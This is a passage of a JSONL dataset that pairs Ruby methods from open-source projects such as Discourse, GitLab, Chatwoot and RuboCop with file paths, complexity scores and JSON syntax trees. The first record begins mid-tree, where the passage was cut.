otice\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Revoked access token %{access_token_name}!\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_token_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource_access_token\"]},\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Could not revoke access token %{access_token_name}.\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_token_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource_access_token\"]},\"name\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"resource_access_tokens_path\"]}]}]}]}","id":"2602972e-306d-418b-a8af-444cbf7ebeb0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":1927,"raw_source":"def update_excerpt(excerpt)\n    update_column(:excerpt, excerpt)\n    ApplicationLayoutPreloader.banner_json_cache.clear if archetype == \"banner\"\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_excerpt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"excerpt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_column\",{\"type\":\"sym\",\"children\":[\"excerpt\"]},{\"type\":\"lvar\",\"children\":[\"excerpt\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"archetype\"]},\"==\",{\"type\":\"str\",\"children\":[\"banner\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationLayoutPreloader\"]},\"banner_json_cache\"]},\"clear\"]},null]}]}]}","id":"5c3a518e-b598-46b7-af45-0a20e9c261f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/client.rb","start_line":232,"raw_source":"def rate_limit_resets_in\n        # We add a few seconds to the rate limit so we don't _immediately_\n        # resume when the rate limit resets as this may result in us performing\n        # a request before GitHub has a chance to reset the limit.\n        octokit.rate_limit.resets_in + 5\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_limit_resets_in\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"octokit\"]},\"rate_limit\"]},\"resets_in\"]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}","id":"1134154d-730a-4fe3-9fa2-d1a605670725"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_inside_parens.rb","start_line":99,"raw_source":"def correct_extraneous_space(tokens)\n          tokens.each_cons(2) do |token1, token2|\n            next unless parens?(token1, token2)\n\n            # If the second token is a comment, that means that a line break\n            # follows, and that the rules for space inside don't apply.\n            next if token2.comment?\n            next unless same_line?(token1, token2) && token1.space_after?\n\n            range = range_between(token1.end_pos, token2.begin_pos)\n            add_offense(range) do |corrector|\n              corrector.remove(range)\n            end\n          end\n        end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_extraneous_space\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"each_cons\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token1\"]},{\"type\":\"arg\",\"children\":[\"token2\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parens?\",{\"type\":\"lvar\",\"children\":[\"token1\"]},{\"type\":\"lvar\",\"children\":[\"token2\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token2\"]},\"comment?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"same_line?\",{\"type\":\"lvar\",\"children\":[\"token1\"]},{\"type\":\"lvar\",\"children\":[\"token2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token1\"]},\"space_after?\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token1\"]},\"end_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token2\"]},\"begin_pos\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}]}","id":"deb9aace-0595-48ca-9f9a-38be8056e702"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twilio/incoming_message_service.rb","start_line":79,"raw_source":"def set_conversation\n    # if lock to single conversation is disabled, we will create a new conversation if previous conversation is resolved\n    @conversation = if @inbox.lock_to_single_conversation\n                      @contact_inbox.conversations.last\n                    else\n                      @contact_inbox.conversations.where\n                                    .not(status: :resolved).last\n                    end\n    return if @conversation\n\n    @conversation = ::Conversation.create!(conversation_params)\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_conversation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conversation\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"lock_to_single_conversation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]},\"conversations\"]},\"last\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]},\"conversations\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"resolved\"]}]}]}]},\"last\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"ivasgn\",\"children\":[\"@conversation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Conversation\"]},\"create!\",{\"type\":\"send\",\"children\":[null,\"conversation_params\"]}]}]}]}]}","id":"935a3cb3-2b2a-497f-96cb-f8b57844ef70"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/store_credits_controller.rb","start_line":18,"raw_source":"def show\n        @store_credit = scope.find(params[:id])\n        @store_credit_events = @store_credit.store_credit_events.reverse_chronological.includes(:originator, :order)\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@store_credit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@store_credit_events\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store_credit\"]},\"store_credit_events\"]},\"reverse_chronological\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"originator\"]},{\"type\":\"sym\",\"children\":[\"order\"]}]}]}]}]}","id":"1df36a9e-d8d0-421d-8cbc-0771f2459859"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev/config.rb","start_line":49,"raw_source":"def create_admin_user\n      puts \"Creating default admin user account...\"\n\n      settings = config[:admin]\n\n      if settings.present?\n        create_admin_user_from_settings(settings)\n      else\n        create_admin_user_from_input\n      end\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_admin_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Creating default admin user account...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"settings\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"admin\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"create_admin_user_from_settings\",{\"type\":\"lvar\",\"children\":[\"settings\"]}]},{\"type\":\"send\",\"children\":[null,\"create_admin_user_from_input\"]}]}]}]}","id":"7ba73c1e-391c-40a2-8bd5-6a0fbee01a5d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/x509/signature.rb","start_line":156,"raw_source":"def get_certificate_extension(extension)\n        ext = cert.extensions.detect { |ext| ext.oid == extension }\n        ext&.value\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_certificate_extension\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"extension\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ext\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cert\"]},\"extensions\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ext\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},\"oid\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"extension\"]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},\"value\"]}]}]}","id":"9338780a-3216-4d11-beb4-b456a067f624"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/vbulletin.rb","start_line":410,"raw_source":"def import_likes\n    return unless @has_post_thanks\n    puts \"\", \"Importing likes...\"\n\n    @imported_likes = Set.new\n    @last_imported_post_id = 0\n\n    post_thanks = mysql_stream <<-SQL\n        SELECT postid, userid, date\n          FROM #{TABLE_PREFIX}post_thanks\n         WHERE postid > #{@last_imported_post_id}\n      ORDER BY postid\n    SQL\n\n    create_post_actions(post_thanks) do |row|\n      post_id = post_id_from_imported_id(row[0])\n      user_id = user_id_from_imported_id(row[1])\n\n      next if post_id.nil? || user_id.nil?\n      next if @imported_likes.add?([post_id, user_id]).nil?\n\n      {\n        post_id: post_id_from_imported_id(row[0]),\n        user_id: user_id_from_imported_id(row[1]),\n        post_action_type_id: 2,\n        created_at: Time.zone.at(row[2]),\n      }\n    end\n  end","complexity_score":36.1,"ast_json":"{\"type\":\"def\",\"children\":[\"import_likes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_post_thanks\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing likes...\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@imported_likes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_imported_post_id\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"post_thanks\",{\"type\":\"send\",\"children\":[null,\"mysql_stream\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        SELECT postid, userid, date\\n\"]},{\"type\":\"str\",\"children\":[\"          FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"post_thanks\\n\"]},{\"type\":\"str\",\"children\":[\"         WHERE postid > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_imported_post_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      ORDER BY postid\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_post_actions\",{\"type\":\"lvar\",\"children\":[\"post_thanks\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_id\",{\"type\":\"send\",\"children\":[null,\"post_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\"nil?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imported_likes\"]},\"add?\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[null,\"post_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_action_type_id\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}]}]}]}","id":"400e1fd7-059c-4b00-9668-bcb94fd2078d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/auto_ban_service.rb","start_line":26,"raw_source":"def ban_user\n      result = ::Users::BanService.new(admin_bot).execute(user)\n\n      record_custom_attribute if result[:status] == :success\n\n      result\n    end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ban_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Users\"]},\"BanService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"admin_bot\"]}]},\"execute\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"record_custom_attribute\"]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"abde8ef9-01e0-483a-849a-a522bdb4c927"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/projects/top_menu.rb","start_line":55,"raw_source":"def switch_mode(mode)\n        within(\".op-project-list-modal--header\") do\n          find('[data-test-selector=\"spot-toggle--option\"]', text: mode).click\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_mode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mode\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\".op-project-list-modal--header\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"spot-toggle--option\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]}]}]}]},\"click\"]}]}]}","id":"9897bab3-61e1-4cc8-9dc3-5e2dbe57a35f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type.rb","start_line":75,"raw_source":"def <=>(other)\n    name <=> other.name\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"<=>\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"name\"]}]}]}","id":"20f40743-b6dd-4d8b-b80b-c14a3914bc7a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/shellout.rb","start_line":14,"raw_source":"def shell(command, stdin_data: nil, fail_on_exception: true, stream_progress: true, mask_secrets: [], return_exit_status: false) # rubocop:disable Metrics/CyclomaticComplexity, Metrics/PerceivedComplexity\n        cmd_string = Array(command).join(' ')\n        cmd_output = ''\n        exit_status = 0\n\n        QA::Runtime::Logger.info(\"Executing: `#{mask_secrets_on_string(cmd_string, mask_secrets).cyan}`\")\n\n        Open3.popen2e(*command) do |stdin, out, wait|\n          stdin.puts(stdin_data) if stdin_data\n          stdin.close if stdin_data\n\n          print_progress_dots = stream_progress && !Runtime::Env.running_in_ci?\n\n          out.each do |line|\n            line = mask_secrets_on_string(line, mask_secrets)\n\n            cmd_output += line\n            yield line if block_given?\n\n            # indicate progress for local run by printing dots\n            print \".\" if print_progress_dots\n          end\n\n          # add newline after progress dots\n          puts if print_progress_dots && !cmd_output.empty?\n\n          exit_status = wait.value.exitstatus if wait.value.exited?\n\n          if exit_status.nonzero? && fail_on_exception\n            Runtime::Logger.error(\"Command output:\\n#{cmd_output.strip}\") unless cmd_output.empty?\n            raise CommandError, \"Command: `#{mask_secrets_on_string(cmd_string, mask_secrets)}` failed! ✘\"\n          end\n\n          Runtime::Logger.debug(\"Command output:\\n#{cmd_output.strip}\") unless cmd_output.empty?\n        end\n\n        return_exit_status ? [cmd_output.strip, exit_status] : cmd_output.strip\n      end","complexity_score":71.7,"ast_json":"{\"type\":\"def\",\"children\":[\"shell\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]},{\"type\":\"kwoptarg\",\"children\":[\"stdin_data\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"fail_on_exception\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"stream_progress\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"mask_secrets\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"return_exit_status\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd_string\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"command\"]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd_output\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exit_status\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing: `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mask_secrets_on_string\",{\"type\":\"lvar\",\"children\":[\"cmd_string\"]},{\"type\":\"lvar\",\"children\":[\"mask_secrets\"]}]},\"cyan\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Open3\"]},\"popen2e\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stdin\"]},{\"type\":\"arg\",\"children\":[\"out\"]},{\"type\":\"arg\",\"children\":[\"wait\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdin_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdin\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"stdin_data\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdin_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdin\"]},\"close\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"print_progress_dots\",{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream_progress\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Env\"]},\"running_in_ci?\"]},\"!\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[null,\"mask_secrets_on_string\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"mask_secrets\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd_output\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"print_progress_dots\"]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\".\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"print_progress_dots\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_output\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait\"]},\"value\"]},\"exited?\"]},{\"type\":\"lvasgn\",\"children\":[\"exit_status\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait\"]},\"value\"]},\"exitstatus\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exit_status\"]},\"nonzero?\"]},{\"type\":\"lvar\",\"children\":[\"fail_on_exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_output\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Command output:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_output\"]},\"strip\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"CommandError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Command: `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mask_secrets_on_string\",{\"type\":\"lvar\",\"children\":[\"cmd_string\"]},{\"type\":\"lvar\",\"children\":[\"mask_secrets\"]}]}]},{\"type\":\"str\",\"children\":[\"` failed! ✘\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_output\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Command output:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_output\"]},\"strip\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_exit_status\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_output\"]},\"strip\"]},{\"type\":\"lvar\",\"children\":[\"exit_status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_output\"]},\"strip\"]}]}]}]}","id":"4c582f4f-a2a2-4917-b152-d64ad316af22"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/inbox.rb","start_line":89,"raw_source":"def add_members(user_ids)\n    inbox_members.create!(user_ids.map { |user_id| { user_id: user_id } })\n    update_account_cache\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_members\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox_members\"]},\"create!\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_account_cache\"]}]}]}","id":"91fb975e-21d9-4090-89f3-562c2db358a5"}
